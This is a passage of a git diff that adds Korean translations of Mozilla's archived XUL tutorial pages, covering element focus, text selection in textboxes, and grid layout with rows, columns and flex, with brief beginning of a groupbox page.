+<h4 id=".EB.9D.BC.EB.B2.A8.EC.9D.B4_.ED.8F.AC.EC.BB.A4.EC.8A.A4.EB.A5.BC_.EA.B0.80.EC.A7.88_.EC.88.98_.EC.9E.88.EA.B2.8C_.EB.A7.8C.EB.93.A4.EA.B8.B0" name=".EB.9D.BC.EB.B2.A8.EC.9D.B4_.ED.8F.AC.EC.BB.A4.EC.8A.A4.EB.A5.BC_.EA.B0.80.EC.A7.88_.EC.88.98_.EC.9E.88.EA.B2.8C_.EB.A7.8C.EB.93.A4.EA.B8.B0">라벨이 포커스를 가질 수 있게 만들기</h4>
+<p>만일 <a href="ko/XUL_Tutorial/Introduction_to_XBL">사용자 정의 요소(XBL)</a>를 만들어 봤다면, 어떤 요소가 포커스를 가질 수 있는지의 여부를 수정할 필요가 있었을 것입니다. 이를 위해, <code>-moz-user-focus</code>라는 특별한 스타일 속성을 사용할 수 있습니다. 이 속성은 요소가 포커스를 받을 수 있는지의 여부를 제어합니다. 예를 들어, 다음 예제와 같이 라벨이 포커스를 가질 수 있게도 할 수 있습니다.</p>
+<p><span id="%EC%98%88%EC%A0%9C_4"><a id="%EC%98%88%EC%A0%9C_4"></a><strong>예제 4</strong></span> : <a href="https://developer.mozilla.org/samples/xultu/examples/ex_focus_4.xul.txt">Source</a> <a href="https://developer.mozilla.org/samples/xultu/examples/ex_focus_4.xul">View</a></p>
+<pre>&lt;label id="focused" style="-moz-user-focus: normal;"
+          onkeypress="alert('Label Focused');" value="Focus Me"/&gt;
+</pre>
+<p>해당 스타일 속성이 <code>normal</code>로 지정되었습니다. 여러분은 요소가 포커스를 가질 수 없게 하기 위해 <code>ignore</code>값을 지정할 수도 있습니다. 이 값은 요소를 사용 불가능한 상태로 만들기 위해 사용해서는 안되며 대신 <code>disabled</code> 속성을 사용하는 것이 좋습니다. 왜냐하면 이 속성이 이런 목적을 위해 존재하는 것이기 때문입니다. 일단 예제의 라벨에 포커스가 주어지면 키 입력에 응답할 수 있습니다. 원래 라벨은 일반적으로 포커스를 받지 않도록 되어 있기 때문에 포커스가 주어져도 어떤 표시도 나타나지는 않습니다.</p>
+<h4 id=".ED.8F.AC.EC.BB.A4.EC.8A.A4.EB.A5.BC_.EB.B0.94.EA.BE.B8.EA.B8.B0" name=".ED.8F.AC.EC.BB.A4.EC.8A.A4.EB.A5.BC_.EB.B0.94.EA.BE.B8.EA.B8.B0">포커스를 바꾸기</h4>
+<p>현재 포커스를 가진 요소를 바꾸는 몇 가지 방법이 있습니다. 가장 간단한 방법은 포커스를 지정하고자 하는 XUL 요소의 <code><a href="ko/DOM/element.focus">focus</a></code> 메소드를 호출하는 것입니다. 요소에서 포커스를 제거하려면 <code><a href="ko/DOM/element.blur">blur</a></code> 메소드를 호출하면 됩니다. 다음은 이러한 내용의 예제입니다.</p>
+<p><span id="%EC%98%88%EC%A0%9C_5"><a id="%EC%98%88%EC%A0%9C_5"></a><strong>예제 5</strong></span> : <a href="https://developer.mozilla.org/samples/xultu/examples/ex_focus_5.xul.txt">Source</a> <a href="https://developer.mozilla.org/samples/xultu/examples/ex_focus_5.xul">View</a></p>
+<pre>&lt;textbox id="addr"/&gt;
+
+&lt;button label="Focus" oncommand="document.getElementById('addr').focus()"/&gt;
+</pre>
+<p>또는 명령 발송자 객체의 <code>advanceFocus</code>나 <code>rewindFocus</code> 메소드를 호출할 수도 있습니다. 이 메소드들은 포커스를 순서대로 다음 요소나 이전 요소로 옮깁니다. 이것은 사용자가 Tab이나 Shift+Tab 키를 눌렀을때와 동일한 것입니다.</p>
+<p>텍스트 상자는 포커스를 받을때마다 <code>focused</code>라는 특별한 속성이 추가됩니다. 스크립트나 스타일시트에서 텍스트 상자가 포커스를 가지고 있는지 검사하려면 이 속성이 존재하는지 검사하면 됩니다. 만일 텍스트 상자가 포커스를 가지고 있다면 이 속성은 <code>true</code>값을 가지고, 포커스가 없다면 속성이 존재하지 않습니다.</p>
+<p>여러분이 포커스를 다음 요소로 옮기고 싶다고 가정해 봅시다. 사용자는 보통 Tab 키를 눌러 포커스를 옮깁니다. XUL 브라우저에서는 다음과 같이 아무데서나 할 수 있습니다.</p>
+<pre>      document.commandDispatcher.advanceFocus();
+</pre>
+<p>사실 <code>commandDispatcher</code>는 <a href="ko/Interfaces">nsIDOMXULCommandDispatcher interface</a>를 구현한 것입니다. 포커스를 처리하는 방법과 관련해 다른 많은 함수들이 존재합니다.</p>
+<h4 id=".ED.94.8C.EB.9E.AB.ED.8F.BC.EC.97.90_.EB.94.B0.EB.A5.B8_.EB.8F.99.EC.9E.91" name=".ED.94.8C.EB.9E.AB.ED.8F.BC.EC.97.90_.EB.94.B0.EB.A5.B8_.EB.8F.99.EC.9E.91">플랫폼에 따른 동작</h4>
+<dl>
+ <dt>
+  Mac OS X</dt>
+ <dd>
+  "Full Keyboard Access" (FKA)라는 설정이 존재합니다. XUL은 이 값에 충실하다는 것을 알아두세요. 이것은 FKA 설정이 off로 되어 있으면 텍스트 상자와 리스트/트리만이 키보드 또는 <code>focus()</code>를 사용한 코드로 포커스를 가질 수 있습니다.</dd>
+</dl>
+<h3 id=".ED.85.8D.EC.8A.A4.ED.8A.B8_.EB.B3.80.EA.B2.BD_.EC.B2.98.EB.A6.AC" name=".ED.85.8D.EC.8A.A4.ED.8A.B8_.EB.B3.80.EA.B2.BD_.EC.B2.98.EB.A6.AC">텍스트 변경 처리</h3>
+<p>사용자가 텍스트 상자의 값을 변경할 때와 관련된 2가지 이벤트가 있습니다. 당연히 이 이벤트들은 포커스를 가진 텍스트 상자로만 전송됩니다.</p>
+<ul>
+ <li>input 이벤트는 텍스트가 수정될때마다 발생합니다. 새로운 값은 기존 값과 틀릴것입니다. 여러분은 key 이벤트 대신 이 이벤트를 사용하려고 할텐데, Shift 키와 같은 몇가지 키들은 값을 변경하지 않기 때문입니다. 또한 input 이벤트는 문자키가 눌러졌지만 텍스트상자의 최대 입력 가능 문자의 개수를 초과한 경우에는 발생하지 않습니다.</li>
+ <li>change 이벤트는 필드가 변경될때만 발생한다는 점에서 input 이벤트와 비슷합니다. 그러나 이 이벤트는 텍스트 상자가 포커스를 잃을때만 발생하며, 따라서 한번의 변경만이 존재하게 됩니다.</li>
+</ul>
+<h3 id=".ED.85.8D.EC.8A.A4.ED.8A.B8_.EC.84.A0.ED.83.9D" name=".ED.85.8D.EC.8A.A4.ED.8A.B8_.EC.84.A0.ED.83.9D">텍스트 선택</h3>
+<p>텍스트 상자로 작업할 경우 입력된 전체 텍스트가 아닌 사용자가 선택한 것만을 가져오길 원할때가 있을 것입니다. 또는 현재 선택한 텍스트를 변경하고자 할 때도 있을 것입니다.</p>
+<p>XUL 텍스트상자는 선택을 가져오거나 수정하는 방법을 제공합니다. 가장 단순한 것은 텍스트상자에 있는 모든 텍스트를 선택하는 것입니다. <code><code><a href="/ko/docs/Mozilla/Tech/XUL/textbox" title="textbox">textbox</a></code></code>의 <code><span id="m-select"><code><a href="https://developer.mozilla.org/ko/docs/Mozilla/Tech/XUL/Method/select">select</a></code></span></code> 메소드를 이용해서 이를 수행합니다.</p>
+<pre>tbox.select();
+</pre>
+<p>그러나 텍스트의 일부분만 선택하고자 할 수도 있습니다. 이를 위해서는 <code><span id="m-setSelectionRange"><code><a href="https://developer.mozilla.org/ko/docs/Mozilla/Tech/XUL/Method/setSelectionRange">setSelectionRange</a></code></span></code> 함수를 사용할 수 있습니다. 이 함수는 두개의 인자를 가지며, 첫번째 인자는 시작 문자의 위치이고 두번째는 선택하고자 하는 텍스트의 마지막 문자 위치입니다. 이 값들은 0 기반으로 첫번째 문자는 0이고 두번째는 1과 같이 진행됩니다.</p>
+<pre>tbox.setSelectionRange(4,8);
+</pre>
+<p>예제는 다섯번째 부터 여덟번째 문자까지를 선택합니다. 만일 필드에 여섯개의 문자만 입력되어 있다면, 다섯번째와 여섯번째 문자만 선택되고 오류가 발생하지는 않습니다.</p>
+<p>만일 두 인자에 동일한 값을 사용하면, 선택의 시작과 끝이 같이 위치가 됩니다. 이는 텍스트상자에서 커서의 위치를 변하게 할 뿐입니다. 예를 들어 아래는 커서를 텍스트의 처음으로 이동하게 하기 위해 사용될 수 있습니다.</p>
+<pre>tbox.setSelectionRange(0,0);
+</pre>
+<p>여러분은 또한 <code><code><span><a href="https://developer.mozilla.org/ko/docs/XUL/Property/selectionStart">selectionStart</a></span></code></code>와 <code><code><span><a href="https://developer.mozilla.org/ko/docs/XUL/Property/selectionEnd">selectionEnd</a></span></code></code> 속성을 이용해서 현재 선택된 위치를 가져올 수 있습니다. 이 속성들은 현재 선택된 것의 시작과 끝 위치를 나타냅니다. 만일 둘다 동일한 값으로 설정되어 있으면 아무런 텍스트도 선택되어 있지 않다는 것이며, 커서는 해당 위치로 이동합니다. 만일 시작과 끝 위치를 안다면, 전체 텍스트 중 일부 문자열을 뽑아낼 수 있습니다.</p>
+<p>텍스트 상자의 내용을 수정하거나 가져오려면 <code><code><span><a href="https://developer.mozilla.org/ko/docs/XUL/Property/value">value</a></span></code></code> 속성을 사용하면 됩니다.</p>
+<p>텍스트 상자의 또 한가지 유용한 속성은 <code><code><span><a href="https://developer.mozilla.org/ko/docs/XUL/Property/textLength">textLength</a></span></code></code>로 입력된 문자의 개수를 담고 있습니다.</p>
+<p>다음 단원에서는 <a href="ko/XUL_Tutorial/Commands">commands</a>를 사용하는 방법에 대해 알아보겠습니다.</p>
+<p></p><div class="prevnext" style="text-align: right;">
+    <p><a href="/ko/docs/XUL_Tutorial:Keyboard_Shortcuts" style="float: left;">« 이전</a><a href="/ko/docs/XUL_Tutorial:Commands">다음  »</a></p>
+</div><p></p>
+<p></p>
diff --git a/files/ko/mozilla/tech/xul/xul_tutorial/grids/index.html b/files/ko/mozilla/tech/xul/xul_tutorial/grids/index.html
new file mode 100644
index 0000000000..473c269406
--- /dev/null
+++ b/files/ko/mozilla/tech/xul/xul_tutorial/grids/index.html
@@ -0,0 +1,156 @@
+---
+title: Grids
+slug: Mozilla/Tech/XUL/XUL_Tutorial/Grids
+tags:
+  - XUL
+  - XUL_Tutorial
+translation_of: Archive/Mozilla/XUL/Tutorial/Grids
+---
+<p> </p>
+<p></p><div class="prevnext" style="text-align: right;">
+    <p><a href="/ko/docs/XUL_Tutorial:Tabboxes" style="float: left;">« 이전</a><a href="/ko/docs/XUL_Tutorial:Content_Panels">다음  »</a></p>
+</div><p></p>
+<p>XUL에는 표 형식의 격자를 만들기 위한 요소들이 있습니다.</p>
+<h3 id="XUL_.ED.91.9C_.ED.98.95.EC.8B.9D.EC.9D.98_.EB.A0.88.EC.9D.B4.EC.95.84.EC.9B.83" name="XUL_.ED.91.9C_.ED.98.95.EC.8B.9D.EC.9D.98_.EB.A0.88.EC.9D.B4.EC.95.84.EC.9B.83">XUL 표 형식의 레이아웃</h3>
+<p>XUL에는 표와 같은 방식으로 배치하기 위해 <code><code><a href="/ko/docs/Mozilla/Tech/XUL/grid" title="grid">grid</a></code></code> 및 관련 요소들을 사용합니다. 이것은 HTML의 <code>table</code> 태그와 약간 비슷합니다. Grid는 자체만으로는 아무것도 출력되지 않으며, 단지 행과 열을 가진 표 형식으로 요소들을 배치시키기 위해서만 사용합니다.</p>
+<p>Grid에는 table처럼 행으로 정렬되는 요소가 있습니다. <code><code><a href="/ko/docs/Mozilla/Tech/XUL/grid" title="grid">grid</a></code></code> 내부에는 사용되는 행과 열을 선언합니다. HTML의 table 처럼, 행 안에 라벨이나 버튼과 같은 내용을 넣을 수 있습니다. 그러나 grid는 행 또는 열 기반의 구조로 작성할 수 있어, 행이나 열 아무쪽에 내용을 포함할 수 있습니다. Table과 같이 행 기반으로 사용하는 것이 가장 일반적입니다. 행 기반으로 사용하더라도 격자 내 열의 크기와 모양을 설정하기 위해 열을 사용할 수 있습니다. 다른 방법으로는 열에 내용을 넣고, 모양은 행에서 설정할 수도 있습니다.</p>
+<h4 id="Grid_.EC.84.A0.EC.96.B8.ED.95.98.EA.B8.B0" name="Grid_.EC.84.A0.EC.96.B8.ED.95.98.EA.B8.B0">Grid 선언하기</h4>
+<p>행 묶음을 선언하기 위해서는 <code><code><a href="/ko/docs/Mozilla/Tech/XUL/rows" title="rows">rows</a></code></code> 태그를 <code><code><a href="/ko/docs/Mozilla/Tech/XUL/grid" title="grid">grid</a></code></code>의 자식 요소로 사용해야 합니다. 이 요소 내부에는 <code><code><a href="/ko/docs/Mozilla/Tech/XUL/row" title="row">row</a></code></code> 요소를 추가해야 하며, 이는 각 행을 표현하기 위해 사용합니다. 행 내부에 넣고자 하는 내용은 row 요소 내에 두면 됩니다.</p>
+<p>비슷하게 열 묶음은 <code><code><a href="/ko/docs/Mozilla/Tech/XUL/columns" title="columns">columns</a></code></code> 요소로 선언하고, <code><code><a href="/ko/docs/Mozilla/Tech/XUL/grid" title="grid">grid</a></code></code>를 자식요소로 두어야 합니다. 이 요소 내에는 <code><code><a href="/ko/docs/Mozilla/Tech/XUL/column" title="column">column</a></code></code> 요소가 들어가게 되고, 각 요소는 격자 내의 각 열에 해당하게 됩니다.</p>
+<p>예제를 통해 여태까지의 내용을 쉽게 이해하실 수 있을 것입니다.</p>
+<p><span id="%EC%98%88%EC%A0%9C_1"><a id="%EC%98%88%EC%A0%9C_1"></a><strong>예제 1</strong></span> : <a href="https://developer.mozilla.org/samples/xultu/examples/ex_grids_1.xul.txt">Source</a> <a href="https://developer.mozilla.org/samples/xultu/examples/ex_grids_1.xul">View</a></p>
+<div class="float-right">
+ <img alt="Image:grids1.png"></div>
+<pre>&lt;grid flex="1"&gt;
+
+  &lt;columns&gt;
+    &lt;column flex="2"/&gt;
+    &lt;column flex="1"/&gt;
+  &lt;/columns&gt;
+
+  &lt;rows&gt;
+    &lt;row&gt;
+      &lt;button label="Rabbit"/&gt;
+      &lt;button label="Elephant"/&gt;
+    &lt;/row&gt;
+    &lt;row&gt;
+      &lt;button label="Koala"/&gt;
+      &lt;button label="Gorilla"/&gt;
+    &lt;/row&gt;
+  &lt;/rows&gt;
+
+&lt;/grid&gt;
+</pre>
+<p>예제에는 격자에 2개의 행과 열이 추가되어 있습니다. 각각의 열은 <code><code><a href="/ko/docs/Mozilla/Tech/XUL/column" title="column">column</a></code></code> 태그로 선언되어 있고 <code><code id="a-flex"><a href="https://developer.mozilla.org/ko/docs/Mozilla/Tech/XUL/Attribute/flex">flex</a></code></code> 속성이 주어져 있습니다. 각 행은 두 개의 버튼 요소를 포함하고 있습니다. 각각의 <code><code><a href="/ko/docs/Mozilla/Tech/XUL/row" title="row">row</a></code></code> 요소에 있는 첫 번째 버튼은 격자의 첫 번째 열에 위치하고 두 번째 버튼은 두 번째 열에 위치합니다. XUL의 grid에서는 방(cell)을 정의하는 요소가 존재하지 않습니다. 이는 HTML의 <code>td</code>와 같은 요소가 없다는 것을 의미합니다. 대신 <code><code><a href="/ko/docs/Mozilla/Tech/XUL/row" title="row">row</a></code></code> 요소에 내용을 직접 넣으면 됩니다.</p>
+<h4 id=".EC.97.AC.EB.9F.AC.EA.B0.9C.EC.9D.98_.EC.9A.94.EC.86.8C.EB.A5.BC_.EA.B0.80.EC.A7.80.EB.8A.94_.EA.B2.A9.EC.9E.90" name=".EC.97.AC.EB.9F.AC.EA.B0.9C.EC.9D.98_.EC.9A.94.EC.86.8C.EB.A5.BC_.EA.B0.80.EC.A7.80.EB.8A.94_.EA.B2.A9.EC.9E.90">여러개의 요소를 가지는 격자</h4>
+<p>당연히, <code><code><a href="/ko/docs/Mozilla/Tech/XUL/button" title="button">button</a></code></code> 요소의 위치에는 어떤 요소든 사용할 수 있습니다. 만일 특정 방에 여러개의 요소들을 넣고자 한다면, 중첩된 <code><code><a href="/ko/docs/Mozilla/Tech/XUL/hbox" title="hbox">hbox</a></code></code>나 다른 상자 요소를 사용하면 됩니다. <code>hbox</code>는 단일 요소지만 내부에 원하는 만큼의 요소를 넣을 수 있습니다. 다음은 이러한 예제입니다.</p>
+<p><span id="%EC%98%88%EC%A0%9C_2"><a id="%EC%98%88%EC%A0%9C_2"></a><strong>예제 2</strong></span> : <a href="https://developer.mozilla.org/samples/xultu/examples/ex_grids_2.xul.txt">Source</a> <a href="https://developer.mozilla.org/samples/xultu/examples/ex_grids_2.xul">View</a></p>
+<pre>&lt;grid flex="1"&gt;
+
+  &lt;columns&gt;
+    &lt;column/&gt;
+    &lt;column flex="1"/&gt;
+  &lt;/columns&gt;
+
+  &lt;rows&gt;
+    &lt;row&gt;
+      &lt;label control="doctitle" value="Document Title:"/&gt;
+      &lt;textbox id="doctitle" flex="1"/&gt;
+    &lt;/row&gt;
+    &lt;row&gt;
+      &lt;label control="docpath" value="Path:"/&gt;
+      &lt;hbox flex="1"&gt;
+        &lt;textbox id="docpath" flex="1"/&gt;
+        &lt;button label="Browse..."/&gt;
+      &lt;/hbox&gt;
+    &lt;/row&gt;
+  &lt;/rows&gt;
+
+&lt;/grid&gt;
+</pre>
+<div class="float-right">
+ <img alt="Image:grids2.png"></div>
+<p>그림에서 라벨 요소를 포함하는 첫 번째 열에는 각 행별로 한개 요소씩만 있는 것을 볼 수 있습니다. 두 번째 열, 두 번째 행은 상자를 포함하며, 상자에는 <code><code><a href="/ko/docs/Mozilla/Tech/XUL/textbox" title="textbox">textbox</a></code></code>와 <code><code><a href="/ko/docs/Mozilla/Tech/XUL/button" title="button">button</a></code></code> 두 가지 요소를 포함하고 있습니다. 여러분은 하나의 방안에 중첩된 상자나 다른 격자도 추가할 수 있습니다.</p>
+<p>예제에서 창의 크기를 조절하면, 다른 요소들은 그대로이지만 글상자들의 크기만 변하는 것을 볼 수 있습니다. 이것은 글상자들과 두 번째 column 요소에 <code><code id="a-flex"><a href="https://developer.mozilla.org/ko/docs/Mozilla/Tech/XUL/Attribute/flex">flex</a></code></code> 속성이 설정되어 있기 때문입니다. 라벨은 크기를 조절할 필요가 없기 때문에, 첫 번째 열에는 flex 속성을 지정할 필요가 없습니다.</p>
+<p>열의 초기 넓이는 열에 있는 요소들 중 가장 큰 것에 의해 결정됩니다. 마찬가지로 행의 높이는 행에 있는 요소들의 크기에 의해 결정됩니다. 여러분은 격자의 크기를 좀 더 자세히 정의하기 위해 <code><code id="a-minwidth"><a href="https://developer.mozilla.org/ko/docs/Mozilla/Tech/XUL/Attribute/minwidth">minwidth</a></code></code>와 <code><code id="a-maxwidth"><a href="https://developer.mozilla.org/ko/docs/Mozilla/Tech/XUL/Attribute/maxwidth">maxwidth</a></code></code>, 그리고 관련 속성을 사용할 수 있습니다.</p>
+<h4 id=".EC.97.B4_.EA.B8.B0.EB.B0.98_.EA.B5.AC.EC.A1.B0" name=".EC.97.B4_.EA.B8.B0.EB.B0.98_.EA.B5.AC.EC.A1.B0">열 기반 구조</h4>
+<p>행 대신에 <code><code><a href="/ko/docs/Mozilla/Tech/XUL/column" title="column">column</a></code></code> 요소 내에 요소를 넣을 수 있습니다. 이렇게 할 경우, rows는 단지 행의 개수를 지정하기 위해서만 사용됩니다.</p>
+<p><span id="%EC%98%88%EC%A0%9C_3"><a id="%EC%98%88%EC%A0%9C_3"></a><strong>예제 3</strong></span> : <a href="https://developer.mozilla.org/samples/xultu/examples/ex_grids_3.xul.txt">Source</a> <a href="https://developer.mozilla.org/samples/xultu/examples/ex_grids_3.xul">View</a></p>
+<pre>&lt;grid&gt;
+  &lt;rows&gt;
+    &lt;row/&gt;
+    &lt;row/&gt;
+    &lt;row/&gt;
+  &lt;/rows&gt;
+
+  &lt;columns&gt;
+    &lt;column&gt;
+      &lt;label control="first" value="First Name:"/&gt;
+      &lt;label control="middle" value="Middle Name:"/&gt;
+      &lt;label control="last" value="Last Name:"/&gt;
+    &lt;/column&gt;
+    &lt;column&gt;
+      &lt;textbox id="first"/&gt;
+      &lt;textbox id="middle"/&gt;
+      &lt;textbox id="last"/&gt;
+    &lt;/column&gt;
+  &lt;/columns&gt;
+
+&lt;/grid&gt;
+</pre>
+<p>이 격자는 3개의 행과 2개의 열을 가집니다. <code><code><a href="/ko/docs/Mozilla/Tech/XUL/row" title="row">row</a></code></code> 요소는 행이 필요로하는 공간을 확보하기 위해서 사용한 것입니다. 여러분은 행이 유연하게 동작하도록 <code><code id="a-flex"><a href="https://developer.mozilla.org/ko/docs/Mozilla/Tech/XUL/Attribute/flex">flex</a></code></code> 속성을 추가할 수 있습니다. 내용은 각 열에 위치합니다. <code><code><a href="/ko/docs/Mozilla/Tech/XUL/column" title="column">column</a></code></code> 요소 내에 있는 첫 번째 요소는 첫 번째 행에, 그리고 두 번째 요소는 두 번째 행에 그리고 세 번째 요소는 세 번째 행에 위치합니다.</p>
+<p>만일 column과 row 양쪽 모두에 내용을 넣는다면, 동일한 위치에 있는 내용들은 중첩되어 출력됩니다. 이렇게 하면 격자 내에 <code><code><a href="/ko/docs/Mozilla/Tech/XUL/stack" title="stack">stack</a></code></code> 요소를 포함하는 것처럼 보입니다.</p>
+<p><code><code><a href="/ko/docs/Mozilla/Tech/XUL/grid" title="grid">grid</a></code></code> 태그 내 요소들의 순서는 어떤 것이 위에 출력되고 어떤 것이 아래에 놓이는지를 결정합니다. 만일 <code>rows</code> 요소가 <code>columns</code> 요소 다음에 위치하면, rows 안에 있는 내용이 상위에 표시되고, <code>columns</code> 요소가 <code>rows</code> 요소 다음에 오면, columns 내의 내용이 상위에 표시됩니다. 마찬가지로, 마우스 버튼과 키누름과 같은 이벤트는 맨 위에 있는 요소들에게만 전달됩니다. 이런 이유로 위의 예제에서는 행이 먼저 오고 다음에 열이 선언되었습니다. 만약 columns가 먼저 위치했다면, rows가 이벤트를 잡아채기 때문에 입력란에 아무것도 입력할 수 없게 됩니다.</p>
+<h4 id=".EA.B2.A9.EC.9E.90.EC.9D.98_.EC.9C.A0.EC.97.B0.EC.84.B1" name=".EA.B2.A9.EC.9E.90.EC.9D.98_.EC.9C.A0.EC.97.B0.EC.84.B1">격자의 유연성</h4>
+<p>중첩된 상자 대신 격자를 사용하면 수직, 수평 모두 유연한 공간을 만들 수 있는 장점이 있습니다. 이렇게 하기 위해서는 행과 열 모두에 <code><code id="a-flex"><a href="https://developer.mozilla.org/ko/docs/Mozilla/Tech/XUL/Attribute/flex">flex</a></code></code> 속성을 설정하면 됩니다. 다음은 이러한 효과를 보여주는 예제입니다.</p>
+<p><span id="%EC%98%88%EC%A0%9C_4"><a id="%EC%98%88%EC%A0%9C_4"></a><strong>예제 4</strong></span> : <a href="https://developer.mozilla.org/samples/xultu/examples/ex_grids_4.xul.txt">Source</a> <a href="https://developer.mozilla.org/samples/xultu/examples/ex_grids_4.xul">View</a></p>
+<pre>&lt;grid flex="1"&gt;
+ &lt;columns&gt;
+  &lt;column flex="5"/&gt;
+  &lt;column/&gt;
+  &lt;column/&gt;
+ &lt;/columns&gt;
+ &lt;rows&gt;
+  &lt;row flex="10"&gt;
+    &lt;button label="Cherry"/&gt;
+    &lt;button label="Lemon"/&gt;
+    &lt;button label="Grape"/&gt;
+  &lt;/row&gt;
+  &lt;row flex="1"&gt;
+    &lt;button label="Strawberry"/&gt;
+    &lt;button label="Raspberry"/&gt;
+    &lt;button label="Peach"/&gt;
+  &lt;/row&gt;
+ &lt;/rows&gt;
+&lt;/grid&gt;
+</pre>
+<p>예제에서 첫 번째 열과 두 개의 행이 유연하게 작성되었습니다. 이것은 첫 번째 열에 있는 모든 방이 가로 방향의 유연성을 가진다는 것을 의미합니다. 또한, 모든 행이 유연하도록 설정되어 모든 방은 세로 방향의 유연성을 가집니다. 첫 번째 행과 열에 해당하는 방(Cherry 버튼)은 가로 방향으로는 5만큼, 세로 방향으로는 10의 유연성을 가지며, 그 다음 방(Lemon 버튼)은 세로 방향으로만 유동적입니다.</p>
+<p>또한 <code><code><a href="/ko/docs/Mozilla/Tech/XUL/grid" title="grid">grid</a></code></code> 요소에도 <code><code id="a-flex"><a href="https://developer.mozilla.org/ko/docs/Mozilla/Tech/XUL/Attribute/flex">flex</a></code></code> 속성이 설정되어 있기 때문에 전체 격자가 유연하며, 이렇지 않을 경우는 한 방향으로만 늘어나게 됩니다.</p>
+<h3 id=".EC.97.B4_.EA.B1.B8.EC.B9.A8.28column_spanning.29" name=".EC.97.B4_.EA.B1.B8.EC.B9.A8.28column_spanning.29">열 걸침(column spanning)</h3>
+<p>격자에는 몇 개의 행 또는 열을 병합한 방을 만들 수 있는 방법이 없습니다(<a> Discussion</a>에서 동일한 효과를 내기 위한 여러가지 방법을 볼 수 있습니다). 그러나 격자의 전체 높이나 너비 만큼에 걸치는 행이나 열을 만들 수는 있습니다. 이렇게 하기 위해서는 <code>row</code> 요소에 내용을 넣지 말고 그냥 <code>rows</code>요소에 내용을 넣으면 됩니다. 예를 들어 상자 타입의 요소를 사용할 수 있으며, 여러개의 요소들을 포함시키려면 상자 내에 다른 요소들을 넣으면 됩니다. 다음은 이러한 내용에 대한 간단한 예제입니다.</p>
+<p><span id="%EC%98%88%EC%A0%9C_5"><a id="%EC%98%88%EC%A0%9C_5"></a><strong>예제 5</strong></span> : <a href="https://developer.mozilla.org/samples/xultu/examples/ex_grids_5.xul.txt">Source</a> <a href="https://developer.mozilla.org/samples/xultu/examples/ex_grids_5.xul">View</a></p>
+<pre>&lt;grid&gt;
+  &lt;columns&gt;
+    &lt;column flex="1"/&gt;
+    &lt;column flex="1"/&gt;
+  &lt;/columns&gt;
+
+  &lt;rows&gt;
+    &lt;row&gt;
+      &lt;label value="Northwest"/&gt;
+      &lt;label value="Northeast"/&gt;
+    &lt;/row&gt;
+    &lt;button label="Equator"/&gt;
+    &lt;row&gt;
+      &lt;label value="Southwest"/&gt;
+      &lt;label value="Southeast"/&gt;
+    &lt;/row&gt;
+  &lt;/rows&gt;
+&lt;/grid&gt;
+</pre>
+<p>버튼은 하나의 행에 포함되지 않아서 격자 전체 너비에 맞게 늘어날 것입니다. 여러분은 동일한 기법을 열에도 적용할 수 있습니다. 이 경우에는 격자의 전체 높이에 맞게 늘어나게 됩니다. 또한 만일 원한다면 행과 열 모두에도 사용할 수 있습니다.</p>
+<p>다음에는 <a href="ko/XUL_Tutorial/Content_Panels">내용 패널</a>을 추가하는 것에 대해 알아보겠습니다.</p>
+<p></p><div class="prevnext" style="text-align: right;">
+    <p><a href="/ko/docs/XUL_Tutorial:Tabboxes" style="float: left;">« 이전</a><a href="/ko/docs/XUL_Tutorial:Content_Panels">다음  »</a></p>
+</div><p></p>
+<p></p>
diff --git a/files/ko/mozilla/tech/xul/xul_tutorial/groupboxes/index.html b/files/ko/mozilla/tech/xul/xul_tutorial/groupboxes/index.html
new file mode 100644
index 0000000000..02a3067646
--- /dev/null
+++ b/files/ko/mozilla/tech/xul/xul_tutorial/groupboxes/index.html
@@ -0,0 +1,74 @@
+---
+title: Groupboxes
+slug: Mozilla/Tech/XUL/XUL_Tutorial/Groupboxes
+tags:
+  - XUL
+  - XUL_Tutorial
+translation_of: Archive/Mozilla/XUL/Tutorial/Groupboxes
+---
+<p></p><div class="prevnext" style="text-align: right;">
+    <p><a href="/ko/docs/XUL_Tutorial:Box_Model_Details" style="float: left;">« 이전</a><a href="/ko/docs/XUL_Tutorial:Adding_More_Elements">다음  »</a></p>
+</div><p></p>
+<p>이 단원에서는 요소들을 그룹에 포함하는 방법에 대해 알아 보겠습니다.</p>
+<h3 id=".EA.B7.B8.EB.A3.B9.EC.83.81.EC.9E.90" name=".EA.B7.B8.EB.A3.B9.EC.83.81.EC.9E.90">그룹상자</h3>
+<p>HTML에서는 여러 가지 요소를 그룹핑하기 위한 목적으로 사용할 수 있는 <code>fieldset</code> 요소를 제공합니다. 이 때 요소들을 둘러 싸는 테두리가 생기기 때문에 각 요소가 서로 연관되어 있음을 알 수 있게 됩니다. 체크박스의 그룹이 하나의 예가 될 수 있습니다. XUL은 비슷한 기능을 위해 사용될 수 있는 <code><code><a href="/ko/docs/Mozilla/Tech/XUL/groupbox" title="groupbox">groupbox</a></code></code> 요소를 제공합니다.</p>
+<p>이름에서 알 수 있듯이 <code><code><a href="/ko/docs/Mozilla/Tech/XUL/groupbox" title="groupbox">groupbox</a></code></code>는 상자의 한 형태입니다. 따라서 groupbox 내부의 요소들은 상자에 적용되는 규칙에 따라 정렬됩니다. 하지만 groupbox와 일반 상자 사이에는 다음의 두 가지 차이점이 있습니다.</p>
+<ul>
+ <li>기본적으로 groupbox에는 둥근 사각형 테두리가 그려지며, CSS를 이용해서 이를 변경할 수 있습니다.</li>
+ <li>groupbox는 테두리의 위쪽에 제목(caption)을 넣을 수 있습니다.</li>
+</ul>
+<p>groupbox도 상자의 한 유형이기 때문에 상자에서 사용하는 <code><code id="a-orient"><a href="https://developer.mozilla.org/ko/docs/Mozilla/Tech/XUL/Attribute/orient">orient</a></code></code>나 <code><code id="a-flex"><a href="https://developer.mozilla.org/ko/docs/Mozilla/Tech/XUL/Attribute/flex">flex</a></code></code>같은 속성을 사용할 수 있습니다. groupbox에는 어떤 요소들도 넣을 수 있지만, 보통 서로 관련된 요소들만 넣습니다.</p>
+<p>groupbox의 위쪽 제목은 <code><code><a href="/ko/docs/Mozilla/Tech/XUL/caption" title="caption">caption</a></code></code> 요소를 사용해서 생성할 수 있습니다. caption은 HTML의 <code>legend</code> 요소와 비슷한 기능을 합니다. 제목을 넣을 때는 <code><code><a href="/ko/docs/Mozilla/Tech/XUL/caption" title="caption">caption</a></code></code>을 첫 번째 자녀 요소로 넣어 주면 됩니다.</p>
+<h4 id=".EA.B0.84.EB.8B.A8.ED.95.9C_groupbox_.EC.98.88.EC.A0.9C" name=".EA.B0.84.EB.8B.A8.ED.95.9C_groupbox_.EC.98.88.EC.A0.9C">간단한 groupbox 예제</h4>
+<p>아래는 간단한 groupbox 예제입니다.</p>
